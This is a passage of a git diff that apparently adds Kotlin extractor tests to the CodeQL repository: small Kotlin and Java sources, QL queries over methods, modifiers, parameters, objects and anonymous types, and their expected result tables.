+| methods.kt:11:9:11:28 | topLevelMethod(...) | MethodAccess |
+| methods.kt:11:24:11:24 | b | VarAccess |
+| methods.kt:11:27:11:27 | 4 | IntegerLiteral |
+| methods.kt:14:12:14:29 | Unit | TypeAccess |
+| methods.kt:15:15:15:35 | Unit | TypeAccess |
+| methods.kt:16:13:16:31 | Unit | TypeAccess |
+| methods.kt:17:14:17:33 | Unit | TypeAccess |
+| methods.kt:18:5:18:36 | Unit | TypeAccess |
diff --git a/java/ql/test/kotlin/library-tests/methods/exprs.ql b/java/ql/test/kotlin/library-tests/methods/exprs.ql
new file mode 100644
index 00000000000..6ded7c0026d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/exprs.ql
@@ -0,0 +1,4 @@
+import java
+
+from Expr e
+select e, e.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/methods/methods.expected b/java/ql/test/kotlin/library-tests/methods/methods.expected
new file mode 100644
index 00000000000..87832f2ed87
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/methods.expected
@@ -0,0 +1,33 @@
+methods
+| clinit.kt:0:0:0:0 | ClinitKt | clinit.kt:0:0:0:0 | <clinit> | <clinit>() |  |
+| clinit.kt:0:0:0:0 | ClinitKt | clinit.kt:3:1:3:24 | getTopLevelInt | getTopLevelInt() | public, static |
+| clinit.kt:0:0:0:0 | ClinitKt | clinit.kt:3:1:3:24 | setTopLevelInt | setTopLevelInt(int) | public, static |
+| methods2.kt:0:0:0:0 | Methods2Kt | methods2.kt:4:1:5:1 | fooBarTopLevelMethod | fooBarTopLevelMethod(int,int) | public, static |
+| methods2.kt:7:1:10:1 | Class2 | methods2.kt:8:5:9:5 | fooBarClassMethod | fooBarClassMethod(int,int) | public |
+| methods3.kt:0:0:0:0 | Methods3Kt | methods3.kt:3:1:3:42 | fooBarTopLevelMethodExt | fooBarTopLevelMethodExt(int,int) | public, static |
+| methods3.kt:5:1:7:1 | Class3 | methods3.kt:6:5:6:46 | fooBarTopLevelMethodExt | fooBarTopLevelMethodExt(int,int) | public |
+| methods4.kt:5:3:9:3 | InsideNestedTest | methods4.kt:7:5:7:34 | m | m(foo.bar.NestedTest.InsideNestedTest) | public |
+| methods5.kt:0:0:0:0 | Methods5Kt | methods5.kt:3:1:11:1 | x | x() | public, static |
+| methods5.kt:5:3:5:27 |  | methods5.kt:5:3:5:27 | a | a(int) | public |
+| methods5.kt:9:3:9:32 |  | methods5.kt:9:3:9:32 | f1 | f1(foo.bar.C1,int) | public |
+| methods.kt:0:0:0:0 | MethodsKt | methods.kt:2:1:3:1 | topLevelMethod | topLevelMethod(int,int) | public, static |
+| methods.kt:5:1:19:1 | Class | methods.kt:6:5:7:5 | classMethod | classMethod(int,int) | public |
+| methods.kt:5:1:19:1 | Class | methods.kt:9:5:12:5 | anotherClassMethod | anotherClassMethod(int,int) | public |
+| methods.kt:5:1:19:1 | Class | methods.kt:14:12:14:29 | publicFun | publicFun() | public |
+| methods.kt:5:1:19:1 | Class | methods.kt:15:15:15:35 | protectedFun | protectedFun() | protected |
+| methods.kt:5:1:19:1 | Class | methods.kt:16:13:16:31 | privateFun | privateFun() | private |
+| methods.kt:5:1:19:1 | Class | methods.kt:17:14:17:33 | internalFun | internalFun() | internal |
+| methods.kt:5:1:19:1 | Class | methods.kt:18:5:18:36 | noExplicitVisibilityFun | noExplicitVisibilityFun() | public |
+constructors
+| methods2.kt:7:1:10:1 | Class2 | methods2.kt:7:1:10:1 | Class2 | Class2() |
+| methods3.kt:5:1:7:1 | Class3 | methods3.kt:5:1:7:1 | Class3 | Class3() |
+| methods4.kt:3:1:11:1 | NestedTest | methods4.kt:3:1:11:1 | NestedTest | NestedTest() |
+| methods4.kt:5:3:9:3 | InsideNestedTest | methods4.kt:5:3:9:3 | InsideNestedTest | InsideNestedTest() |
+| methods5.kt:5:3:5:27 |  | methods5.kt:5:3:5:27 |  |  |
+| methods5.kt:9:3:9:32 |  | methods5.kt:9:3:9:32 |  |  |
+| methods5.kt:13:1:13:14 | C1 | methods5.kt:13:1:13:14 | C1 | C1() |
+| methods.kt:5:1:19:1 | Class | methods.kt:5:1:19:1 | Class | Class() |
+extensions
+| methods3.kt:3:1:3:42 | fooBarTopLevelMethodExt | file://:0:0:0:0 | int |
+| methods3.kt:6:5:6:46 | fooBarTopLevelMethodExt | file://:0:0:0:0 | int |
+| methods5.kt:9:3:9:32 | f1 | file:///!unknown-binary-location/foo/bar/C1.class:0:0:0:0 | C1<T1> |
diff --git a/java/ql/test/kotlin/library-tests/methods/methods.kt b/java/ql/test/kotlin/library-tests/methods/methods.kt
new file mode 100644
index 00000000000..b59937bc861
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/methods.kt
@@ -0,0 +1,20 @@
+
+fun topLevelMethod(x: Int, y: Int) {
+}
+
+class Class {
+    fun classMethod(x: Int, y: Int) {
+    }
+
+    fun anotherClassMethod(a: Int, b: Int) {
+        classMethod(a, 3)
+        topLevelMethod(b, 4)
+    }
+
+    public fun publicFun() {}
+    protected fun protectedFun() {}
+    private fun privateFun() {}
+    internal fun internalFun() {}
+    fun noExplicitVisibilityFun() {}
+}
+
diff --git a/java/ql/test/kotlin/library-tests/methods/methods.ql b/java/ql/test/kotlin/library-tests/methods/methods.ql
new file mode 100644
index 00000000000..12526711da1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/methods.ql
@@ -0,0 +1,14 @@
+import java
+
+query predicate methods(RefType declType, Method m, string signature, string modifiers) {
+  m.fromSource() and
+  declType = m.getDeclaringType() and
+  signature = m.getSignature() and
+  modifiers = concat(string s | m.hasModifier(s) | s, ", ")
+}
+
+query predicate constructors(RefType declType, Constructor c, string signature) {
+  c.fromSource() and declType = c.getDeclaringType() and signature = c.getSignature()
+}
+
+query predicate extensions(ExtensionMethod m, Type t) { m.getExtendedType() = t and m.fromSource() }
diff --git a/java/ql/test/kotlin/library-tests/methods/methods2.kt b/java/ql/test/kotlin/library-tests/methods/methods2.kt
new file mode 100644
index 00000000000..4c642e2d189
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/methods2.kt
@@ -0,0 +1,11 @@
+
+package foo.bar
+
+fun fooBarTopLevelMethod(x: Int, y: Int) {
+}
+
+class Class2 {
+    fun fooBarClassMethod(x: Int, y: Int) {
+    }
+}
+
diff --git a/java/ql/test/kotlin/library-tests/methods/methods3.kt b/java/ql/test/kotlin/library-tests/methods/methods3.kt
new file mode 100644
index 00000000000..fdd759a7840
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/methods3.kt
@@ -0,0 +1,7 @@
+package foo.bar
+
+fun Int.fooBarTopLevelMethodExt(x: Int) {}
+
+class Class3 {
+    fun Int.fooBarTopLevelMethodExt(x: Int) {}
+}
diff --git a/java/ql/test/kotlin/library-tests/methods/methods4.kt b/java/ql/test/kotlin/library-tests/methods/methods4.kt
new file mode 100644
index 00000000000..87e409eb02e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/methods4.kt
@@ -0,0 +1,12 @@
+package foo.bar
+
+class NestedTest {
+
+  class InsideNestedTest {
+
+    fun m(x: InsideNestedTest) { }
+
+  }
+
+}
+
diff --git a/java/ql/test/kotlin/library-tests/methods/methods5.kt b/java/ql/test/kotlin/library-tests/methods/methods5.kt
new file mode 100644
index 00000000000..c1f49e2fa8e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/methods5.kt
@@ -0,0 +1,13 @@
+package foo.bar
+
+fun x() {
+  var x = 5
+  fun <T> a(i: Int) = i + x
+  x = 6
+  a<String>(42)
+  x = 7
+  fun <T1> C1<T1>.f1(i: Int) = 5
+  C1<Int>().f1(42)
+}
+
+class C1<T> {}
diff --git a/java/ql/test/kotlin/library-tests/methods/parameters.expected b/java/ql/test/kotlin/library-tests/methods/parameters.expected
new file mode 100644
index 00000000000..3e34c2c3b86
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/parameters.expected
@@ -0,0 +1,19 @@
+| clinit.kt:3:1:3:24 | setTopLevelInt | clinit.kt:3:1:3:24 | <set-?> | 0 |
+| methods2.kt:4:1:5:1 | fooBarTopLevelMethod | methods2.kt:4:26:4:31 | x | 0 |
+| methods2.kt:4:1:5:1 | fooBarTopLevelMethod | methods2.kt:4:34:4:39 | y | 1 |
+| methods2.kt:8:5:9:5 | fooBarClassMethod | methods2.kt:8:27:8:32 | x | 0 |
+| methods2.kt:8:5:9:5 | fooBarClassMethod | methods2.kt:8:35:8:40 | y | 1 |
+| methods3.kt:3:1:3:42 | fooBarTopLevelMethodExt | methods3.kt:3:5:3:7 | <this> | 0 |
+| methods3.kt:3:1:3:42 | fooBarTopLevelMethodExt | methods3.kt:3:33:3:38 | x | 1 |
+| methods3.kt:6:5:6:46 | fooBarTopLevelMethodExt | methods3.kt:6:9:6:11 | <this> | 0 |
+| methods3.kt:6:5:6:46 | fooBarTopLevelMethodExt | methods3.kt:6:37:6:42 | x | 1 |
+| methods4.kt:7:5:7:34 | m | methods4.kt:7:11:7:29 | x | 0 |
+| methods5.kt:5:3:5:27 | a | methods5.kt:5:13:5:18 | i | 0 |
+| methods5.kt:9:3:9:32 | f1 | methods5.kt:9:12:9:17 | <this> | 0 |
+| methods5.kt:9:3:9:32 | f1 | methods5.kt:9:22:9:27 | i | 1 |
+| methods.kt:2:1:3:1 | topLevelMethod | methods.kt:2:20:2:25 | x | 0 |
+| methods.kt:2:1:3:1 | topLevelMethod | methods.kt:2:28:2:33 | y | 1 |
+| methods.kt:6:5:7:5 | classMethod | methods.kt:6:21:6:26 | x | 0 |
+| methods.kt:6:5:7:5 | classMethod | methods.kt:6:29:6:34 | y | 1 |
+| methods.kt:9:5:12:5 | anotherClassMethod | methods.kt:9:28:9:33 | a | 0 |
+| methods.kt:9:5:12:5 | anotherClassMethod | methods.kt:9:36:9:41 | b | 1 |
diff --git a/java/ql/test/kotlin/library-tests/methods/parameters.ql b/java/ql/test/kotlin/library-tests/methods/parameters.ql
new file mode 100644
index 00000000000..6863e863b57
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/parameters.ql
@@ -0,0 +1,7 @@
+import java
+
+from Method m, Parameter p, int i
+where
+  m.getParameter(i) = p and
+  m.fromSource()
+select m, p, i
diff --git a/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/Q.java b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/Q.java
new file mode 100644
index 00000000000..9c9a6482201
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/Q.java
@@ -0,0 +1,3 @@
+package main;
+
+public class Q {}
diff --git a/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/W.kt b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/W.kt
new file mode 100644
index 00000000000..b89b2098c3e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/W.kt
@@ -0,0 +1,3 @@
+package main
+
+class W {}
diff --git a/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/test.expected b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/test.expected
new file mode 100644
index 00000000000..95060ae561c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/test.expected
@@ -0,0 +1,2 @@
+| Q.java:0:0:0:0 | Q |
+| W.kt:0:0:0:0 | W |
diff --git a/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/test.ql b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/test.ql
new file mode 100644
index 00000000000..bf53215390c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/mixed-java-and-kotlin/test.ql
@@ -0,0 +1,6 @@
+import java
+
+from File f
+where f.isSourceFile()
+select f
+// This test is mainly a consistency test; just checking that both the Java and Kotlin source were extracted here
diff --git a/java/ql/test/kotlin/library-tests/modifiers/modifiers.expected b/java/ql/test/kotlin/library-tests/modifiers/modifiers.expected
new file mode 100644
index 00000000000..70345c576b0
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/modifiers/modifiers.expected
@@ -0,0 +1,41 @@
+| modifiers.kt:1:1:25:1 | X | Class | public |
+| modifiers.kt:1:6:25:1 | X | Constructor | public |
+| modifiers.kt:2:5:2:21 | a | Field | final |
+| modifiers.kt:2:5:2:21 | a | Field | private |
+| modifiers.kt:2:5:2:21 | a | Property | private |
+| modifiers.kt:2:13:2:21 | getA$private | Method | private |
+| modifiers.kt:3:5:3:23 | b | Field | final |
+| modifiers.kt:3:5:3:23 | b | Field | private |
+| modifiers.kt:3:5:3:23 | b | Property | protected |
+| modifiers.kt:3:15:3:23 | getB | Method | protected |
+| modifiers.kt:4:5:4:22 | c | Field | final |
+| modifiers.kt:4:5:4:22 | c | Field | private |
+| modifiers.kt:4:5:4:22 | c | Property | internal |
+| modifiers.kt:4:14:4:22 | getC | Method | internal |
+| modifiers.kt:5:5:5:34 | d | Field | final |
+| modifiers.kt:5:5:5:34 | d | Field | private |
+| modifiers.kt:5:5:5:34 | d | Property | public |
+| modifiers.kt:5:5:5:34 | getD | Method | public |
+| modifiers.kt:7:5:9:5 | Nested | Class | final |
+| modifiers.kt:7:5:9:5 | Nested | Class | protected |
+| modifiers.kt:7:15:9:5 | Nested | Constructor | public |
+| modifiers.kt:8:9:8:29 | e | Field | final |
+| modifiers.kt:8:9:8:29 | e | Field | private |
+| modifiers.kt:8:9:8:29 | e | Property | public |
+| modifiers.kt:8:16:8:29 | getE | Method | public |
+| modifiers.kt:11:5:15:5 | fn1 | Method | public |
+| modifiers.kt:12:16:14:9 |  | Constructor | public |
+| modifiers.kt:12:16:14:9 | new Object(...) { ... } | AnonymousClass | final |
+| modifiers.kt:12:16:14:9 | new Object(...) { ... } | AnonymousClass | private |
+| modifiers.kt:12:16:14:9 | new Object(...) { ... } | LocalClass | final |
+| modifiers.kt:12:16:14:9 | new Object(...) { ... } | LocalClass | private |
+| modifiers.kt:13:13:13:23 | fn | Method | public |
+| modifiers.kt:17:5:20:5 | fn2 | Method | public |
+| modifiers.kt:18:9:18:24 |  | Constructor | public |
+| modifiers.kt:18:9:18:24 |  | LocalClass | final |
+| modifiers.kt:18:9:18:24 |  | LocalClass | private |
+| modifiers.kt:18:9:18:24 | fnLocal | Method | public |
+| modifiers.kt:22:5:24:5 | fn3 | Method | public |
+| modifiers.kt:23:9:23:27 | localClass | Constructor | public |
+| modifiers.kt:23:9:23:27 | localClass | LocalClass | final |
+| modifiers.kt:23:9:23:27 | localClass | LocalClass | private |
diff --git a/java/ql/test/kotlin/library-tests/modifiers/modifiers.kt b/java/ql/test/kotlin/library-tests/modifiers/modifiers.kt
new file mode 100644
index 00000000000..6435f378091
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/modifiers/modifiers.kt
@@ -0,0 +1,25 @@
+open class X {
+    private val a = 1
+    protected val b = 2
+    internal val c = 3
+    val d = 4 // public by default
+
+    protected class Nested {
+        public val e: Int = 5
+    }
+
+    fun fn1(): Any {
+        return object {
+            fun fn() {}
+        }
+    }
+
+    fun fn2() {
+        fun fnLocal() {}
+        fnLocal()
+    }
+
+    fun fn3() {
+        class localClass {}
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/modifiers/modifiers.ql b/java/ql/test/kotlin/library-tests/modifiers/modifiers.ql
new file mode 100644
index 00000000000..48a33db0591
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/modifiers/modifiers.ql
@@ -0,0 +1,5 @@
+import java
+
+from Modifiable m, string mod
+where m.fromSource() and m.hasModifier(mod)
+select m, m.getAPrimaryQlClass(), mod
diff --git a/java/ql/test/kotlin/library-tests/multiple_extensions/calls.expected b/java/ql/test/kotlin/library-tests/multiple_extensions/calls.expected
new file mode 100644
index 00000000000..4e0343b84df
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_extensions/calls.expected
@@ -0,0 +1,4 @@
+| PropertyReferenceDelegatesKt | getValue(KProperty0<V>, Object, KProperty<?>) |
+| PropertyReferenceDelegatesKt | getValue(KProperty1<T,V>, T, KProperty<?>) |
+| StringsKt | removePrefix(String, CharSequence) |
+| StringsKt | startsWith(String, String, boolean) |
diff --git a/java/ql/test/kotlin/library-tests/multiple_extensions/calls.ql b/java/ql/test/kotlin/library-tests/multiple_extensions/calls.ql
new file mode 100644
index 00000000000..42652e97ebb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_extensions/calls.ql
@@ -0,0 +1,4 @@
+import java
+
+from MethodAccess ma
+select ma.getMethod().getDeclaringType().getName(), ma.getMethod().getStringSignature()
diff --git a/java/ql/test/kotlin/library-tests/multiple_extensions/test.kt b/java/ql/test/kotlin/library-tests/multiple_extensions/test.kt
new file mode 100644
index 00000000000..129bc8e4919
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_extensions/test.kt
@@ -0,0 +1,7 @@
+fun test(url: String) {
+    val s = url.startsWith("1")
+    val r = url.removePrefix("2")
+
+    (null!! as kotlin.reflect.KProperty0<Int>).getValue(null, null!!)
+    (null!! as kotlin.reflect.KProperty1<Int, Int>).getValue(1, null!!)
+}
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/classes.expected b/java/ql/test/kotlin/library-tests/multiple_files/classes.expected
new file mode 100644
index 00000000000..51e9b016e32
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/classes.expected
@@ -0,0 +1,6 @@
+| file1.kt:2:1:13:1 | Class1 | Class1 |
+| file2.kt:2:1:4:1 | Class2 | Class2 |
+| file3.kt:0:0:0:0 | MyJvmName | MyJvmName |
+| file3.kt:3:1:3:16 | Class3 | Class3 |
+| file4.kt:0:0:0:0 | File4Kt | File4Kt |
+| file4.kt:2:1:2:16 | Class4 | Class4 |
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/classes.ql b/java/ql/test/kotlin/library-tests/multiple_files/classes.ql
new file mode 100644
index 00000000000..e4ad877448e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/classes.ql
@@ -0,0 +1,5 @@
+import java
+
+from Class c
+where c.fromSource()
+select c, c.getQualifiedName()
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/file1.kt b/java/ql/test/kotlin/library-tests/multiple_files/file1.kt
new file mode 100644
index 00000000000..2d97aa46ffd
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/file1.kt
@@ -0,0 +1,14 @@
+
+class Class1 {
+    fun fun1() {
+        Class2().fun2()
+        fun3()
+        fun4()
+
+        // libraries/stdlib/jvm/runtime/kotlin/jvm/internal/CollectionToArray.kt
+        // has a @file:JvmName("CollectionToArray") annotation, and contains
+        // a function collectionToArray with a @JvmName("toArray") annotation.
+        kotlin.jvm.internal.collectionToArray(listOf(1))
+    }
+}
+
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/file2.kt b/java/ql/test/kotlin/library-tests/multiple_files/file2.kt
new file mode 100644
index 00000000000..d785a2fa739
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/file2.kt
@@ -0,0 +1,5 @@
+
+class Class2 {
+    fun fun2() { }
+}
+
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/file3.kt b/java/ql/test/kotlin/library-tests/multiple_files/file3.kt
new file mode 100644
index 00000000000..489b18113f3
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/file3.kt
@@ -0,0 +1,7 @@
+@file:JvmName("MyJvmName")
+
+class Class3 { }
+
+fun fun3() {
+}
+
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/file4.kt b/java/ql/test/kotlin/library-tests/multiple_files/file4.kt
new file mode 100644
index 00000000000..2cae1e4ca98
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/file4.kt
@@ -0,0 +1,6 @@
+
+class Class4 { }
+
+fun fun4() {
+}
+
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/method_accesses.expected b/java/ql/test/kotlin/library-tests/multiple_files/method_accesses.expected
new file mode 100644
index 00000000000..fdb38b16ff7
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/method_accesses.expected
@@ -0,0 +1,5 @@
+| file1.kt:4:18:4:23 | fun2(...) | file2.kt:3:5:3:18 | fun2 | Class2.fun2 | file2.kt:2:1:4:1 | Class2 |
+| file1.kt:5:9:5:14 | fun3(...) | file3.kt:5:1:6:1 | fun3 | MyJvmName.fun3 | file3.kt:0:0:0:0 | MyJvmName |
+| file1.kt:6:9:6:14 | fun4(...) | file4.kt:4:1:5:1 | fun4 | File4Kt.fun4 | file4.kt:0:0:0:0 | File4Kt |
+| file1.kt:11:29:11:56 | toArray(...) | file://<external>/CollectionToArray.class:0:0:0:0 | toArray | CollectionToArray.toArray | file://<external>/CollectionToArray.class:0:0:0:0 | CollectionToArray |
+| file1.kt:11:47:11:55 | listOf(...) | file://<external>/CollectionsKt.class:0:0:0:0 | listOf | CollectionsKt.listOf | file://<external>/CollectionsKt.class:0:0:0:0 | CollectionsKt |
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/method_accesses.ql b/java/ql/test/kotlin/library-tests/multiple_files/method_accesses.ql
new file mode 100644
index 00000000000..6d4b99f1507
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/method_accesses.ql
@@ -0,0 +1,28 @@
+import java
+
+// Stop external filepaths from appearing in the results
+class ClassOrInterfaceLocation extends ClassOrInterface {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+class MethodLocation extends Method {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+from MethodAccess ma, Method m
+where
+  ma.getFile().(CompilationUnit).fromSource() and
+  m = ma.getMethod()
+select ma, m, m.getQualifiedName(), m.getDeclaringType()
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/methods.expected b/java/ql/test/kotlin/library-tests/multiple_files/methods.expected
new file mode 100644
index 00000000000..a5026657856
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/methods.expected
@@ -0,0 +1,4 @@
+| file1.kt:3:5:12:5 | fun1 | Class1.fun1 | file1.kt:2:1:13:1 | Class1 |
+| file2.kt:3:5:3:18 | fun2 | Class2.fun2 | file2.kt:2:1:4:1 | Class2 |
+| file3.kt:5:1:6:1 | fun3 | MyJvmName.fun3 | file3.kt:0:0:0:0 | MyJvmName |
+| file4.kt:4:1:5:1 | fun4 | File4Kt.fun4 | file4.kt:0:0:0:0 | File4Kt |
diff --git a/java/ql/test/kotlin/library-tests/multiple_files/methods.ql b/java/ql/test/kotlin/library-tests/multiple_files/methods.ql
new file mode 100644
index 00000000000..9060f05e302
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/multiple_files/methods.ql
@@ -0,0 +1,5 @@
+import java
+
+from Method m
+where m.fromSource()
+select m, m.getQualifiedName(), m.getDeclaringType()
diff --git a/java/ql/test/kotlin/library-tests/no-when-branch-found/test.expected b/java/ql/test/kotlin/library-tests/no-when-branch-found/test.expected
new file mode 100644
index 00000000000..f441807d2f5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/no-when-branch-found/test.expected
@@ -0,0 +1 @@
+| test.kt:0:0:0:0 | throw ... | test.kt:0:0:0:0 | new NoWhenBranchMatchedException(...) |
diff --git a/java/ql/test/kotlin/library-tests/no-when-branch-found/test.kt b/java/ql/test/kotlin/library-tests/no-when-branch-found/test.kt
new file mode 100644
index 00000000000..17b2b58703c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/no-when-branch-found/test.kt
@@ -0,0 +1,10 @@
+enum class A {
+  A1, A2
+}
+
+fun test(a: A): Int = 
+  when(a) {
+    A.A1 -> 1
+    A.A2 -> 2
+  }
+
diff --git a/java/ql/test/kotlin/library-tests/no-when-branch-found/test.ql b/java/ql/test/kotlin/library-tests/no-when-branch-found/test.ql
new file mode 100644
index 00000000000..511bb32bb0a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/no-when-branch-found/test.ql
@@ -0,0 +1,4 @@
+import java
+
+from ThrowStmt ts
+select ts, ts.getExpr()
diff --git a/java/ql/test/kotlin/library-tests/object/accesses.expected b/java/ql/test/kotlin/library-tests/object/accesses.expected
new file mode 100644
index 00000000000..146576a7969
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/object/accesses.expected
@@ -0,0 +1 @@
+| objects.kt:2:1:4:1 | MyObject | objects.kt:7:17:7:24 | INSTANCE |
diff --git a/java/ql/test/kotlin/library-tests/object/accesses.ql b/java/ql/test/kotlin/library-tests/object/accesses.ql
new file mode 100644
index 00000000000..38de5d06eb3
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/object/accesses.ql
@@ -0,0 +1,5 @@
+import java
+
+from VarAccess va, ClassObject co
+where va.getVariable() = co.getInstance()
+select co, va
diff --git a/java/ql/test/kotlin/library-tests/object/objects.expected b/java/ql/test/kotlin/library-tests/object/objects.expected
new file mode 100644
index 00000000000..1d3ddd817c0
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/object/objects.expected
@@ -0,0 +1 @@
+| objects.kt:2:1:4:1 | MyObject | objects.kt:2:1:4:1 | INSTANCE | final,public,static |
diff --git a/java/ql/test/kotlin/library-tests/object/objects.kt b/java/ql/test/kotlin/library-tests/object/objects.kt
new file mode 100644
index 00000000000..d666838b123
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/object/objects.kt
@@ -0,0 +1,9 @@
+
+object MyObject {
+    fun MyObjectFunction() {}
+}
+
+fun useMyObject() {
+    val myObj = MyObject
+}
+
diff --git a/java/ql/test/kotlin/library-tests/object/objects.ql b/java/ql/test/kotlin/library-tests/object/objects.ql
new file mode 100644
index 00000000000..90228cc73e1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/object/objects.ql
@@ -0,0 +1,7 @@
+import java
+
+from ClassObject co, Field f
+where
+  co.fromSource() and
+  f = co.getInstance()
+select co, f, concat(f.getAModifier().toString(), ",")
diff --git a/java/ql/test/kotlin/library-tests/private-anonymous-types/other.kt b/java/ql/test/kotlin/library-tests/private-anonymous-types/other.kt
new file mode 100644
index 00000000000..ace100f9173
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/private-anonymous-types/other.kt
@@ -0,0 +1 @@
+class Ext : A<String>("Hello") { }
diff --git a/java/ql/test/kotlin/library-tests/private-anonymous-types/test.expected b/java/ql/test/kotlin/library-tests/private-anonymous-types/test.expected
new file mode 100644
index 00000000000..4c6907f99d4
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/private-anonymous-types/test.expected
@@ -0,0 +1,18 @@
+| file:///!unknown-binary-location/A.class:0:0:0:0 | A<String> | file:///!unknown-binary-location/A.class:0:0:0:0 | A<String> |
+| file:///!unknown-binary-location/A.class:0:0:0:0 | A<String> | file:///!unknown-binary-location/A.class:0:0:0:0 | getAnonType |
+| file:///!unknown-binary-location/If.class:0:0:0:0 | If<String> | file:///!unknown-binary-location/If.class:0:0:0:0 | getX |
+| file:///!unknown-binary-location/If.class:0:0:0:0 | If<T> | file:///!unknown-binary-location/If.class:0:0:0:0 | getX |
+| other.kt:1:1:1:34 | Ext | other.kt:1:1:1:34 | Ext |
+| test.kt:0:0:0:0 | TestKt | test.kt:19:1:19:38 | user |
+| test.kt:1:1:5:1 | If | test.kt:3:3:3:11 | getX |
+| test.kt:7:1:17:1 | A | test.kt:7:6:17:1 | A |
+| test.kt:7:1:17:1 | A | test.kt:9:3:11:3 | anonType |
+| test.kt:7:1:17:1 | A | test.kt:9:3:11:3 | getAnonType |
+| test.kt:7:1:17:1 | A | test.kt:13:3:15:3 | privateAnonType |
+| test.kt:7:1:17:1 | A | test.kt:13:11:15:3 | getPrivateAnonType$private |
+| test.kt:9:18:11:3 | new If<T>(...) { ... } | test.kt:9:18:11:3 |  |
+| test.kt:9:18:11:3 | new If<T>(...) { ... } | test.kt:10:5:10:22 | x |
+| test.kt:9:18:11:3 | new If<T>(...) { ... } | test.kt:10:14:10:22 | getX |
+| test.kt:13:33:15:3 | new If<T>(...) { ... } | test.kt:13:33:15:3 |  |
+| test.kt:13:33:15:3 | new If<T>(...) { ... } | test.kt:14:5:14:22 | x |
+| test.kt:13:33:15:3 | new If<T>(...) { ... } | test.kt:14:14:14:22 | getX |
diff --git a/java/ql/test/kotlin/library-tests/private-anonymous-types/test.kt b/java/ql/test/kotlin/library-tests/private-anonymous-types/test.kt
new file mode 100644
index 00000000000..b0d49124eac
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/private-anonymous-types/test.kt
@@ -0,0 +1,19 @@
+interface If<T> {
+
+  val x : T
+
+}
+
+open class A<T>(t: T) {
+
+  val anonType = object : If<T> {
+    override val x = t
+  }
+
+  private val privateAnonType = object : If<T> {
+    override val x = t
+  }
+
+}
+
+fun user(x: A<String>)  = x.anonType.x
diff --git a/java/ql/test/kotlin/library-tests/private-anonymous-types/test.ql b/java/ql/test/kotlin/library-tests/private-anonymous-types/test.ql
new file mode 100644
index 00000000000..74bbc59a7fd
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/private-anonymous-types/test.ql
@@ -0,0 +1,5 @@
+import java
+
+from ClassOrInterface ci, Member m
+where m = ci.getAMember() and ci.getSourceDeclaration().fromSource()
+select ci, m
